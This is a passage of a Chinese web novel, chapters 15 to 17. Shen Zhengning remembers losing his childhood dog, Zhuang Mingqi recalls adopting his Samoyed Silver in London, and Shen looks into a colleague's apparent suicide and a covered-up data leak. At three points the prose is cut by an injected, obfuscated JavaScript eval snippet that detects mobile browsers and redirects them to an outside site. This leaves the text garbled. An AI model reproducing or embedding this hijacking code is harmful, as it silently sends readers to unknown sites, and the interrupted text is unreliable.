妈妈的心情似乎很差,沈政宁被训得蔫蔫的,耷拉着肩膀回房间去写作业。他没有试图通过顶撞家长或者发脾气大闹来争取要回自己的宠物,甚至都没有再多恳求几句,心想只能等到周末去爷爷家时再去看小狗了。 沈政宁不是个叛逆的小孩,由于父亲早逝的缘故,在所有亲人的耳提面命下,他已经把“体谅母亲的不容易”刻进天性,当成了不可违逆的金科玉律。 周末在他的千思万盼中姗姗来迟,沈政宁在兜里揣了两根咪咪喜欢的火腿肠,兴冲冲地跑到爷爷家,甚至来不及和爷爷奶奶问好,先一头热地问:“咪咪呢?” 爷爷开门迎接他的热切笑容僵住了一瞬,随即若无其事地试图转移话题:“政宁来了,快进来,外面冷不冷?最近学习挺累的吧?” “爷爷,我的小狗呢?” 在沈政宁年纪还小、尚未意识到自己的敏锐比其他人要强上那么一点的时候,他已经本能地察觉到了对方的躲闪,并表现出了格外执着的态度:“我妈说她把咪咪送到爷爷家了,咪咪在哪儿呢?” “政宁啊,来来来进来说,别在门口站着。”爷爷把他拉进家门,好言好语地劝慰他,“是这么回事,你妈妈说你最近因为养狗成绩下降了,她不想让你为这些玩意儿分心。再说你妈妈工作忙,光照顾你就挺费劲了,哪有时间伺候小狗?” “我知道,爷爷。”沈政宁说,“咪咪先放爷爷家养着,我会每周过来看它,等我考完放寒假,我再把它带回去养,不用我妈操心。” 爷爷条件反射地向身后看了一眼,可那里并没有一只小白狗颠颠地跑出来迎接:“我已经把它送人了。不就是一只狗嘛,你现在还是学生,不适合养狗,等你考上大学,爷爷再给你买只新的,行不?” 热胀酸意猛地冲上喉头,某一瞬间他真想歇斯底里地大喊一声凭什么,但沈政宁再一次死死忍住了。他从小被人教育哭是软弱可耻且无用的,哭解决不了任何问题,于是他深吸了一口气,强迫自己动脑子:“什么时候送的?送给谁了?” “送给……”爷爷见他竟然没闹,看起来还挺冷静的,似乎对小狗也没有那么深厚的感情,本来想随便说个邻居熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949214|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人糊弄他的谎话在嘴边拐了个弯,变成了实情,“前天你刘爷爷家二小子海城过来送菜,看见咪咪了,他说这小狗是品种犬,叫什么萨什么的,在市场上能卖点钱,我就让他给五百块钱抱走了。” 五百块。 对沈政宁来说是把从小到大存下来全部的零花钱都凑在一起勉强能够的数字。事情还没有走到绝路,只要能找到咪咪,他可以想尽一切办法把小狗接回来,他可以跟妈妈做好保证,不占用学习时间、不浪费她的精力…… 行动计划在脑海里迅速成型,沈政宁不记得自己怎么强行保持着和往常一样的态度跟爷爷告别,关门后他拔腿冲出了单元楼,循着记忆敲开了刘爷爷家门,问到了刘海城的所在,又根据刘海城的描述跨越了半个城区,去寻找买下咪咪的那户人家——他心无旁骛地执行着自己的计划,宛如奔波于古战场的希腊士兵,跨过重重艰难险阻,只为抵达他梦寐以求的雅典。 然而刘海城给他的买家信息非常模糊,终点范围被他锁定在某小区。在他挨家挨户地排查了一栋楼之后,晚上九点,先一步找到沈政宁的是他妈妈、他的班主任和他爸生前的同事。 他妈妈当着所有人的面甩了他一记脆响的耳光,眼泪和质问同时喷涌而出:“为了一条破狗,你连家都不回、连你妈都不顾了是吗?!” 沈政宁被扇得一个趔趄,同行的警察赶紧上来拉开母子二人,有许多人在一旁劝他,嘈杂声音混着耳鸣忽高忽低地锤着他的神经——“你一个小孩子跑到这么远的地方来,也不跟家里说一声,你妈都要担心疯了。”“家里就你这么一个孩子,你要有个磕磕碰碰,你妈得多心疼?”“你是家里唯一的男子汉,要懂事起来,主动照顾妈妈,可不能再耍小孩子脾气了。” “快去,”有人推搡着他,“去跟你妈道歉。” 沈政宁在茫然泪眼里看向远处一排排高楼灯火,感觉自己被分成了两部分:一部分被自责愧疚炙烤着,和脸上的巴掌印一起火辣辣地灼痛;另一部分则高高漂浮在半空,没有眼泪,只有一种难以描述的悲哀。他知道自己再也见不到咪咪了——它或许就藏在某一扇窗户后,两只黑玻璃珠似的圆眼睛安静地注视着他,可他再也不会去找它了。 “对不起……妈妈。” 在这毫无道理、没有意义的二选一里,是他最终选择了放弃自己的小狗。 长大后的沈政宁依然最喜欢萨摩耶,有钱有精力却始终没有养一只属于自己的小狗。这并非是出于怨怼,也不是不肯原谅,相反他很能理解他妈妈的痛苦挣扎。但人和人的痛苦是没有高下之分的,他只是无法释怀,并且软弱地选择了逃避——不去开始就不会有分离,永远也不必面临任何取舍问题。 Silver依偎在他的腿边,蹭得他裤脚上都是白色狗毛,但只要看着它懵懂澄澈的黑眼睛,就会有种被依赖着、被信任着的幸福感。 庄明玘显然没想到这个看起来明明非常安全的问题竟然引出了沈政宁的伤痛往事,仿佛一竿子下去钓上了鳄鱼,一霎有点不知所措。 “原来是这样,”他干巴巴地说,“抱歉,好像不小心触及了你的童年创伤。” 沈政宁恶趣味地欣赏片刻他被吓住的表情,旋即轻松地勾起了唇角:“没关系,这里是东亚,哪有什么创伤,只能说你的童年我的童年大家都一样。” 15.小狗 庄明玘可能是没有理解他在玩梗,也可能是听出了他隐而不发的暗示,又或许二者皆有但就是不想正面回应,他只是按照字面意义回应道:“网上有人过分享在国外寻求心理咨询的经历,他向咨询师倾诉了一些……所谓‘童年回忆’,最后把对面的咨询师聊哭了。” 沈政宁微笑的弧度没有一丝动摇,简直可以说是执迷不悟:“小孩子往往把一时感受看得太重,对于失败的记忆更加深刻,其实事与愿违才是人生常态。” 庄明玘抬起眼皮,不赞成地轻轻睨了他一眼:“常态不等于不痛苦,把一切苦难都归咎于自己不够坚强,你至今没被PUA真是不可思议。” 沈政宁不置可否,适时地把话题拉回了安全区域:“你呢,怎么想到要养狗的?” 庄明玘朝silver招了招手,雪白蓬松的萨摩耶从地上一骨碌爬起来,灵活地扑到他腿边撒娇。他揉狗的动作带着主人特有的大开大合,毛量惊人的silver被他搓得五官乱飞,依然脾气超级好地仰着脸任他揉圆搓扁:“我遇见silver的时候,它也还是只小狗,住在伦敦街头的垃圾堆里,毛是灰色的,一点都不可爱,第一眼看过去还以为是只大老鼠。” 下着雨的伦敦是一块冰冷的、雾蒙蒙的烟灰色水晶,街上行人举着伞匆匆走过,雨声车声回荡在空旷的天地间,变成一种轻噪的背景音。他在肮脏背光的巷子里吐得天昏地暗,完全绞空的胃里却只能挤出一点酸水。生理上的痛苦和精神上的绝望将灵魂挤出了躯壳,只能孤伶伶地漂浮在高空,俯瞰着这个犹如濒死虫豸一般的狼狈男人。 雨水浇得面部神经失去知觉,耳边全是鼓膜充血的嗡鸣,恍惚中庄明玘感觉到有什么东西在咬他的裤脚,低头一看,是一团木瓜那么大的灰黑色不明生物。 他的第一反应——真应该感谢上天他居然还有反应——是该不会世界末日终于降临,变异从老鼠当街咬人开始,随后他抬脚将那玩意儿往外拨了拨,不明生物被他拨得四脚朝天,在泥水里打了个滚,仰起头朝他奶声奶气地“嗷嗷”了两声。 是狗啊。 庄明玘紧悬的心放松下来,情绪因为这突如其来的打岔略有缓和,他伸进风衣口袋里摸了摸,找出一块锡纸包的巧克力,随手拆了半截丢给流浪狗。 小狗好奇地凑过去低头嗅闻,庄明玘随手将掩着嘴的手帕丢开,透过水雾模糊的眼睫注视着它的动作,浆糊一样的脑子后知后觉地转动起来,突然想到不知从哪里看来的冷知识——狗好像不能吃巧克力,会死。 他心里一突,赶紧蹲下身去狗嘴里扒拉还没来得及舔的半块巧克力,甩手将它远远地抛到了巷子深处。这一串动作实在有点难为他此刻虚弱得仿佛纸糊的身子骨,庄明玘眼前黑了一阵,回过神后意识到自己还单手按着狗的脑袋。 倘若这是常年流浪街头的恶狗,庄明玘这么操作就是邀请它在自己手上开饭,但万幸他遇见的是一只连叫都不怎么会叫的小奶狗,被抢了吃的也只会无助地嘤嘤两声,黑眼睛里蒙着一层委屈的水光,讨好地伸出舌头舔了舔他的手。 再蓬松可爱的生物被水浇了也会变成大眼外星怪兽,遑论一只本来就不可爱的小脏狗,但庄明玘一下子被它这个动作冻在了原地。 那触感温热、真实而轻微,却不亚于蝴蝶振翅掀起太平洋上的风暴,那是不会引起他应激的、来自另一个活生生的灵魂的触碰。 沉重地压在命运之上,名为“不可触碰”的诅咒,似乎被这只从天而降的生灵撬开了一道细小的缝隙。 犹如奇迹。 冰冷的灰色水晶轰然破碎,悬浮在半空的灵魂呼啸着回归躯壳,长久失灵的感官拼命抓住这世上一切声色味触,填满了他空荡荡的漏风胸膛。 “可以跟我走吗?” 被人群放逐的游魂摊开苍白的手,做出了邀请的姿势,认真地对小狗发问:“我们一起走吧,好吗?” 小狗不明所以,抽动着鼻子绕着他的手转圈。庄明玘一把捞起它,扶着墙壁摇摇晃晃地站直了身体,脚步虚浮而目标明确地走向了巷口的一线天光。 关于自己的部分他没有提及太多,庄明玘在晴朗干爽的阳光下轻抚狗头,感慨道:“一开始我以为它是博美或者银狐之类的小型犬,但宠物医生说它是萨摩耶,以后会长得很大。” “我眼睁睁地看着它越长越大,从两根手指就能拎起来,到两只手才能扛起来……” 大棉花团突然疯狂甩头,细白狗毛如风吹蒲公英,在清透日光中纷纷而落,两人同时:“阿嚏!” “噗!” “哈哈……” 他们同时放松了肩膀,倚进了藤编圈椅深处。无法宣之于口又无法释怀的苦痛、曾经茕茕独行的孤寂岁月……过往经历刻下的伤痛永远无法彻底消除,但幸运的话,他们偶尔也会在人生的某一刻感到治愈。 他们就是靠着这些砂糖一样细碎的瞬间,才能勉强咽下生活这杯苦水,而不是被它彻底淹没。 沈政宁不期然地想起叶桐生——在逝水中沉浮的灵魂,对他来说是解脱吗? “你加过叶桐生的微信吗?” “嗯?”庄明玘轻微茫然一瞬,“没有,怎么了?” “这个问题可能有点冒犯,但我并不是出于八卦看乐子的心态,如果让你感到不舒服的话,我先道歉。”沈政宁说,“我想知道,你怎么看待叶桐生自杀这件事?” 确实有那么一刹那,在叶桐生葬礼上被激发的戾气再度凶狠地掠过他心头,但他旋即意识到这股邪火并不该冲着沈政宁发泄,好奇心是无辜的,而他们也还没有熟到能剖心相对、把阴暗面合盘托出的程度。 猫又跳回了衣柜上。明明谁也没有动,彼此间却忽然拉开了距离,庄明玘的眼神带着居高临下的审视之意:“为什么突然问这个?” 沈政宁翻转手机,将屏幕对着他:“你看过他这条朋友圈吗?” 日光下庄明玘的瞳仁浅得发亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958784|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有种无机质一样的冰凉清透,他一瞬不瞬地盯着手机,就连沈政宁也无法从他的表情里读到他此刻的心情:“这是叶桐生发的?” 沈政宁:“准确的说,是叶桐生这个账号发的最后一条朋友圈,就在他去世的当晚。” 庄明玘抬眸与他对视数秒:“你想问我,他在向谁说对不起?” 事实证明他完全读得懂沈政宁九曲十八弯的暗示,大部分时间只是故意装听不见。 沈政宁做了个“请说”的手势,庄明玘却依旧没有正面作答:“警察把这条消息当成了证据?” “是。”沈政宁说,“他的家庭关系紧张,有抑郁症病史,在离世前发布疑似遗言的消息,这些线索串连成因果线,推导出了他自杀的结论。” “你和警察是合作关系?”庄明玘问,“还是说你和叶桐生有特别的关系,才对这件案子这么上心?” “很遗憾,都不是。”沈政宁相当耐心地回答了他有些咄咄逼人的问题,“我和叶桐生只是普通同事,谈不上什么交情,勉勉强强算是个参与询问的证人;至于警方办案,我当然无权干涉,坦白来讲,我纯粹是出于好奇,所以设法从各种渠道了解一些信息。没有官方参与,只是个人行为而已。” 庄明玘在“多管闲事”和“吃饱撑的”之间,选择了比较客气的说法:“你很有做侦探的潜质。” 沈政宁笑了一声:“听起来不像是夸奖。” “你不了解他的过去,和他不是朋友,不涉及任何私人感情,只是因为‘逻辑不通顺’这么简单的理由,就会调动起自己的嗅觉,做出追查的行动,甚至处心积虑地来试探我这个知情人。”庄明玘不客气地评价道,“你不喜欢别人叫你福尔摩斯,那这应该不算夸奖。” “我不喜欢被叫‘福尔摩斯’是因为我离福尔摩斯有十万八千里,过度夸张等于讽刺,只会提醒我有多么不自量力。”沈政宁坦然承认,“另外我并不是试探你,而是在寻求知情人的帮助和验证。刚才不是说过了么,如果这个问题让你觉得冒犯,那么我道歉。” 虽然场景完全不对,但话说到这个份上,庄明玘情不自禁脱口而出:“道歉有用的话要警察干嘛。” 沈政宁:“?那你报警吧。” “……” 庄明玘淡淡地横了他一眼,没什么威慑力,明明自己玩梗还要责怪别人不严肃,再一次验证了沈政宁对他们这个品种的精准判断:“你没有否认‘处心积虑’,看来是被我说中了。” 沈政宁心想我为了摸狗每天早起五分钟怎么不算一种心机深沉呢,嘴上却道:“如果你是指‘认真对待’的话,那我的确没必要否认。” 猝不及防的直球把庄明玘打没了动静,少顷他微不可闻地叹了口气,伸手揉了揉萨摩耶软软弹弹的耳朵,藉由这个动作获得了某种决心:“他做出什么选择我都可以理解,包括……放弃生命,唯独这句‘遗言’我不能理解——因为他绝不会对那两人说‘对不起’。” 16.选择 他做好了迎接尖锐质疑的准备——其实客观地说沈政宁是个兼具理智和圆融的人,他的提问都很普通,基本不会表现出明显的情感倾向,但由于庄明玘潜意识里的抗拒,再温和的问题也长着毒刺,所以他先竖起了高高的心理防线,好像这样就能在被戳到痛处时少疼一点似的。 然而沈政宁一生挚爱剑走偏锋、永远不按套路出牌:“你说的这个‘选择’里,包括违法犯罪吗?” 庄明玘迷惑:“什么?” 这都是哪儿跟哪儿? “我们先假设这个‘对不起’就是出自叶桐生本人,据此推断他是因为愧疚而轻生,这动机还算说得过去。”沈政宁说,“那么接下来的问题就是,叶桐生究竟做错了什么事,极端到令他觉得唯有一死方可偿还呢?” 在无比漫长的一秒寂静后,庄明玘理解了他的言下之意:“你还有其他线索?” 沈政宁言简意赅地说:“他也许牵涉我们公司软件的客户信息泄露事件。” “怀疑他是泄露信息的幕后黑手吗?”这个选项似乎从来没出现在庄明玘的思考范围里,太过离谱以至于他分不出余暇来生气,“怎么说呢……” “我不敢保证我完全了解叶桐生这个人,但他应该能分得清是非黑白,具有普遍意义上的正义感……我记得他还挺喜欢福尔摩斯的,8月份我们在伦敦见过一面,他提到过要去参观福尔摩斯博物馆。” 沈政宁没有接话,但那委婉的眼神已经说明了一切——喜欢侦探并不能证明一个人的道德高尚,希特勒还曾经雅好绘画艺术呢。 “的确,一个人会变成什么样子并不是自己说了算,取决于命运下手轻重。”庄明玘轻轻叹息,“我没有办法向你保证叶桐生绝对清白,倒不如说我一厢情愿地认定他是无辜的。” 沈政宁微微侧目,如果警惕可以具象化为尖刺,庄明玘完全就是一个行走的海胆,他能给出这种无条件的信任,与叶桐生之间的深刻牵绊可见一斑。 “如果他最终变成了恶龙……” 人与人是独立的个体,他们的人生轨迹各不相同,彼此命运并不相连,谁也不会成为谁的谶语。 可明知如此、即便如此—— “我可能会很难过吧。” 他这么说的时候表情依然没有多少波澜,好像那“难过”不过是一句礼貌的寒暄,并不指望任何人放在心上,连他自己也没太当真。 萨摩耶若有所感地支棱起耳朵,庄明玘膝上忽然一沉,silver扒着他的腿,强行挤进藤椅和身体形成的狭小缝隙,嘤嘤地一脑袋扎进了他怀里。 庄明玘搂着大棉花团子揉了揉,忽而抬眼看向若有所思的沈政宁,没头没尾但很笃定地说:“他不依靠任何外物坚持到今天,至少比我更勇敢。” “嗯。”沈政宁点了个头,像是真的听进去了,没有就这句话提出任何追问和质疑:“8月份你们在英国见面时,他说过什么特别的、或者让你觉得奇怪的话吗?” 庄明玘神情一动,这微妙的一霎并没有逃过沈政宁的眼睛,他了然道:“看样子是有了。” “没有。”庄明玘用“你好烦”的眼神扫他,“朋友叙旧而已,我们好几年没见了。” “而你为了‘好几年没见’的旧友,专程回国参加葬礼,还有在国内长居的打算?” “……算了,懒得问了。”庄明玘眼神逐渐失去光彩,语调也拖起了懒散的尾音,“反正他没有任何仇恨社会的言论,也没有表现出轻生厌世的倾向,甚至还关心过我的精神状态。” “时隔多年,他忽然联系你的契机是什么?” “因为顺路。” 眼见庄明玘耐心告罄,沈政宁大概摸清了他的一点习性,知道再继续追问下去他也只会破罐子破摔已读乱回,在心里无奈地叹了口气,很有眼力见地结束了话题:“歇够了吗?趁着天气好,再走一走吧。” 这趟秋游的收获还算可观,虽然充满了语焉不详、遮遮掩掩和主观推断。 庄明玘像守护珍宝的巨龙一样小心翼翼地保护着一个经年久远的秘密,他用尾巴圈住了自己、叶桐生、或许还有那位在公园偶遇的女士。他能给出的信息不多,但沈政宁又不是警察,必须形成完整证据链才能送检,眼下掌握的逻辑漏洞和知情人的态度足够他给路线一打上×:原生家庭的矛盾未必是叶桐生死亡的主要原因。 大大小小的谜团如成群水母浮现在他脑海里,沈政宁有意略过了最大最明亮的一个。出于较强的自我保护意识和微弱的人道主义关怀,他现在还不想毫无准备地挑衅庄明玘的逆鳞,转而伸向了另一个距他最近、朦胧模糊的可能。 沈政宁从微信通讯录里翻出了某个已离职的前同事的名字,手指微动,飞快地发了条微信:邵哥,近期方便见个面吗?有点事想当面聊一聊。 工作日午休时间,邵吉星坐在距办公楼不远处名为“GENTIAN”的西餐厅里。 这还是他入职数月以来第一次踏进这家餐厅,“GENTIAN”有着与其不菲租金相匹配的价格和口味,虽然离他的工作地点很近且评价很高,但除非是重要日子,否则他不会选这么“华而不实”的餐厅,而在那些需要认真对待的时刻里,他也不想一转头就看见每天拉磨的写字楼。 但坐在光线稍暗、优雅清静的餐桌边,哪怕他坚持认为“男人的浪漫是在大排档喝酒撸串”,金钱堆出来的氛围感还是稍稍打动了他的虚荣心,被体面对待的愉快令他在和对面客人交谈时口吻充满耐心:“现在工作是不好找,但你是名校出身,又有项目经验,还这么年轻。咱们不说比前司职位高,起码待遇更好的那是一抓一大把。你要是看得上我们公司,回头发个简历,我帮你内推。” “谢谢邵哥,”沈政宁谦和的微笑里有一丝逼真的犹豫,“我也正考虑,还没下定决心。在舒适圈里待的太久,有时候没点外力推一把,很难逼自己跳出来。” 邵吉星作为过来人,感同身受地笑了起来:“那确实,要是这会儿喜提n+1大礼包,那真是瞌睡时有人送枕头。” “邵哥当时果断辞职这一步算是走对了,我看你现在比之前过的舒心多了。”沈政宁扫了一眼他放在桌面的新手机,轻声感叹,“公司现在发展势头不如前几年,马上年底了,又开始有人传言今年效益不好、发不出年终,再加上出了叶桐生那事,大家心里都有点毛毛的。” “唉,老叶啊。”邵吉星喝了口咖啡,在醇厚的苦意里咂了咂嘴,唏嘘道,“当初他要是干脆点辞职跳槽,说不定就没有后来这些破事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969415|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……哎,说白了都是命。” “叶桐生跟家里闹矛盾,加上他有抑郁症,最后精神崩溃自杀了,我听家属说这是警方的调查结论,要是跟工作有哪怕一丁点关系,家属还不得跑到公司闹个天翻地覆?”沈政宁故作反驳,好勾引他继续说下去,“公司里私底下有些小道消息,说他是畏罪自杀,这就纯属造谣了。不过这事到现在也没查出个子丑卯寅来,领导也不管,反而越传越像真的。” 邵吉星面色几变,心里打鼓又实在难以遏制分享欲,再三犹豫之后,似是而非地说了一句:“他死的时机太赶巧了,屎盆子往他头上扣最安全,是真是假,谁说得准呢。” “这里面还有什么隐情吗?”沈政宁好奇,“他是替谁背了黑锅?” “这咱们可不敢乱说,没凭没据的事,当初自查本来也没查出泄密漏洞。”邵吉星语焉不详,“不过你想想,日防夜防家贼难防,我们再往死里查,万一人家就住你家里呢,对吧?GM都下场了我们还玩什么。” 沈政宁吃了一惊:“你们后来没再继续查下去,是因为……?” 邵吉星意味深长地说:“要不我怎么说叶桐生应该跟我一起辞职。我和老徐背了个小锅,不也没影响什么吗,好歹顺顺当当地跑路了,就老叶非不信邪。你别看现在他人没了,别人拿他顶锅,要是他还活着,就他那个眼里不揉沙子的性格,能给天捅个窟窿出来。” 沈政宁:“所以叶桐生不是那个内鬼。” “他要是没有这点基本的职业道德还干什么网安,直接当黑客不是来钱更快。”邵吉星一气干掉了杯底冷透的咖啡,说出来的话不由自主带着点冷峻的意味,“他是抓鬼的人,但钟馗再横,碰到阎王爷,那也是胳膊拧不过大腿,谁也没办法。” 沈政宁第一次没有妥帖流利地接上他的话题,陷入了一段漫长得稍显突兀的沉默。 他在脑海里飞快地串连前因后果、提炼已知信息,尽量克制自己不去做出任何道德评价。 邵吉星的暗示几乎等同于明说,信息安全部查到、或者说差一点就查到了真正的幕后黑手,但是公司高层有人把这件事悄无声息地压了下去——部里两名骨干主动提出离职,背上了“办事不力”的锅,得以从整件事中丝滑抽身,并且作为回报,得到了比原来更好的职位。 剩下一个势单力薄的叶桐生,不管他是否愿意屈服,整个信安部都被一刀切,他没有羽翼、人微言轻,无论如何挣扎也掀不起什么风浪来。 更别说还有现实层面的压力,叶桐生孤身一人漂泊在外,背后毫无家庭支持,一旦得罪公司丢了工作,“重新开始”对成年人而言不亚于梅开二度的生长期。 人生选择看似很多,但绝大多数人做决策时,面前勉强可以走得下去的路,往往只有一条而已。 “倒卖公民信息……是违法的。” 这是他踌躇了半天才挤出来的一句话,那语气软弱无力到连沈政宁自己都觉得可笑。可能是底气太虚,邵吉星甚至没有被他惹恼,只是干笑一声,以掩饰微妙的尴尬:“大家都要吃饭……况且这不是也没出什么事嘛。” 【对不起】 那条孤零零的、充满不祥意味的朋友圈不期然浮现在沈政宁心中。 是在向谁说呢? 17.童话 “让你不听话!让你跑……服不服?服不服!说!知道错了吗?!” “你凭什么打我!……我不服!我就是不服!” 庄明玘牵着狗游荡在小区的林荫步道上,晨光熹微,秋风渐冷,吹在裸/露的皮肤上有种针扎一样细微的刺骨寒意。昨天深夜的一通电话使他本就不怎么样的情绪雪上加霜,天快亮时才勉强入睡,睡着了又是噩梦,梦里高高低低的喊声似乎还在耳畔萦绕不去,恶性循环没完没了,像一场看不见尽头的折磨。 如果能够从精神和生理的双重折磨中解脱,现在让他去跳个河他也愿意。 Silver突然汪汪地叫起来,庄明玘迷迷瞪瞪地被它牵着走,一抬头才发现面前停着几个同样出来遛狗的住户,silver跟一只柯基互相呲牙以示友好,前方一只西高地的主人似乎在和什么人吵架。 整条街上回荡着人语狗吠,简直是沸反盈天,庄明玘被吵得脑袋嗡嗡响,感觉自己下一秒就要厥过去了,用力拉了一把牵引绳:“silver!” 然而区区纸片人岂是20公斤萨摩耶的对手,silver高高兴兴地朝前方猛扑,庄明玘像风筝一样无助地原地起飞,差点一个跟头栽进树坑里。 “吵什么呢?” 七点三十五分,普通路过的救星犹如神兵天降,庄明玘勉强扶着树干站稳,把牵引绳交给沈政宁,有气无力地说:“不知道,它怎么那么爱凑热闹……从小在英国长大听得懂在吵什么吗?” 沈政宁觑着他的脸色:“又低血糖了吧?”他单手牵着萨摩耶,另一只手伸进外套口袋:“手。” 庄明玘摊开手掌,两粒红豆奶糖从半空落进掌心。 那种隔着毛玻璃看世界的不真实感随着血糖回升逐渐淡褪,幻觉中的杂音和现实世界的喧闹中间出现了泾渭分明的界限。庄明玘含着糖看沈政宁蹲下身和silver打招呼,仗着个子高,他轻松地越过众人头顶,看清了前面正在吵架的另一位主角——一个四五十岁、穿着清洁工制服的干瘦男人。 “我前脚刚扫完这条街,你们家狗后脚就给我刨一地树叶子,我骂它骂错了吗?”他像是积怨已久,借着由头一泄怒气,“你们这些养狗的自己不收拾,还惯着这些玩意儿四处撒野,没有一点公德心,还不让人说了?谁不讲理谁自己心里清楚!” 西高地的主人是位中年女士,毫不畏怯地高声顶了回去:“我告诉你饭可以乱吃话不能乱说,你凭什么说是我们家狗刨的?你有证据吗?调监控了吗?自己的活干不好,拿狗来撒气算什么本事?!” “睁着眼说瞎话,脸都不要了!瞪大你那眼珠子看看,你们家狗还在那刨呢!” 男声高亢女声尖利,两边越吵火气越大,庄明玘嫌烦,刚想招呼沈政宁换条路,谁知半蹲着逗狗的男人不紧不慢地起身,左右环顾了一周,忽然开腔搭话:“你是说这些装树叶的黑塑料袋吗?应该不是狗咬的。” 他的声音不算高,质感和力度却十分鲜明,轻易地穿透人群打断了争吵,将交战双方以及围观群众的目光吸引过来,霎时变成了人群注目的焦点。 庄明玘在他背后意味不明地啧一声。 路旁的梧桐已经凋落大半,为了路面整洁、防范火灾,小区物业安排了清洁工清扫落叶,用黑色的大垃圾袋盛装,暂时堆放在树坑里等着清洁车统一收走。 这事沈政宁昨天晚上就注意到了,今早他一路走来,看见每个树坑里的垃圾袋上都裂开了大大小小的口子,金红树叶从破口里涌出来,像死灰的石头中流淌出灿烂滚烫的岩浆。 清洁工乜斜着眼,对着他发出响亮一嗤:“你们养狗的都是一条心……” 句子的后半截和冷笑一起哽在了喉咙里,因为站在人群外、斜倚着梧桐树的高挑峻拔的男人忽然撩起眼皮,朝他投来了警告意味浓重的冰冷注视。 “被一个眼神吓住”在他的观念里本应当是非常小众的一件事,但事实是本能比意识更快,等他反应过来时心脏已经快跳到嗓子眼了——那根本不是基于理智的判断,考虑到对方的身份地位权势之类的理由而退让,而是正常人遇到杀人犯眼神时趋利避害的天性使然。 沈政宁并没有理会他突兀的噤声,他专注的时候有种“视万物为狗叫”的淡漠,伸手指着旁边树坑里的另一袋落叶:“你仔细观察一下就会发现,不光是这条路,小区里放置的落叶垃圾袋大部分都有裂口,而且都是竖直形状,边缘整齐,像是用小刀划开的。如果是小狗用牙咬或用爪子挠破的话,塑料袋上至少应该有被撕扯的痕迹,不会这么整齐。” 一边牵着两只柯基的女士帮腔:“就是,而且谁家狗会闲着没事把所有的袋子都咬一遍。” 清洁工强迫自己忘记刚才受到的惊吓,梗着脖子继续质疑:“不是狗咬的那还能是谁?你说是用刀割破的,谁会干这种恶作剧?” “我说的是‘像用刀划破’,不是‘是用刀划破’。”沈政宁彬彬有礼地纠正他的用词,弯腰从地下拾起一片叶子,犹如站在舞台中心的魔术师,像众人展示它的硬度,“干枯的叶子看似一碰就碎,但对于软包装而言还是相当锋利的。你们把大量树叶塞进垃圾袋里,再紧紧系住袋子,干叶子的边角顶在紧绷的塑料袋上,就像锥子一样,很容易就能把垃圾袋戳破。” 他拨弄了一下垃圾袋的碎片,发出“沙沙”的声音:“另外入秋后昼夜温差变大,白天黑色垃圾袋吸收热量,加速水分蒸发,叶子变得更加干硬;而夜间气温下降,塑料材质变硬发脆,垃圾袋的延展性变差,两相叠加,垃圾袋最终被树叶从内部戳爆,呈现出刀口一样的裂痕。” 所有人和狗都睁着懵懂大眼看着他,沈政宁伸手接过庄明玘及时递来的湿巾,慢条斯理地擦干修长手指,落下定音之锤:“简而言之,这是个自然现象,并不是什么‘恶作剧’,也没有任何‘犯人’故意捣乱。” 被指责的狗主人长长地“哦”了一声,最先反应过来:“我听明白了,意思是这些塑料袋是让落叶扎漏了,根本就不是我们家狗刨的?” 沈政宁含笑点头:“对,只是误会。您家狗狗是无辜的,环卫同志每天清扫也挺辛苦,大家弄清楚原因,把话说开就好。都是邻里邻居,别伤了和气。” “听听!大家伙都听见了吧!啊?我看还有谁敢冤枉我们家的狗!” 清洁工尴尬地拉低帽檐,嘀咕了一句“反正你们人多,怎么说都有理,不跟你们一般见识”,转身拎起清扫工具,闷着头快步走远了。 “真是,这都什么人啊!”跟他吵架的女士翻了个巨大的白眼,仰着头上下打量沈政宁一番,转眼笑逐颜开:“哎呀,这小伙子,真聪明!真行!你看看,三言两语就把事情说清楚了,简直是神探!小伙子在哪工作?这大白狗是你家养的不?长得真俊!多招人稀罕!” 很难分清这话究竟是在夸狗还是在夸人,连珠炮似的彩虹屁把大侦探崩得落荒而逃:“不敢当、不敢当,没有您说得那么玄乎,我还赶着上班,先走了。” 他拖着还在热情地跟狗朋狗友社交的萨摩耶火速逃离现场,庄明玘跟在他身后捡了一路的乐子,肩头颤动得犹如风中残树,沈政宁四下环顾一圈,真情实感地提出疑问:“谁家高压锅漏气了?” “你听错了,是风声。”庄明玘神情正经得活像刚把水杯推下桌面的猫,一边腮帮子微鼓。由于含着糖,咬字发音有点含混,语气里却没有丁点甜意:“跟他废什么话,直接打电话叫物业过来调监控不就行了。” 沈政宁随口答道:“惊动物业的话,哪怕最后证明是狗咬的垃圾袋,清洁工人得罪了业主 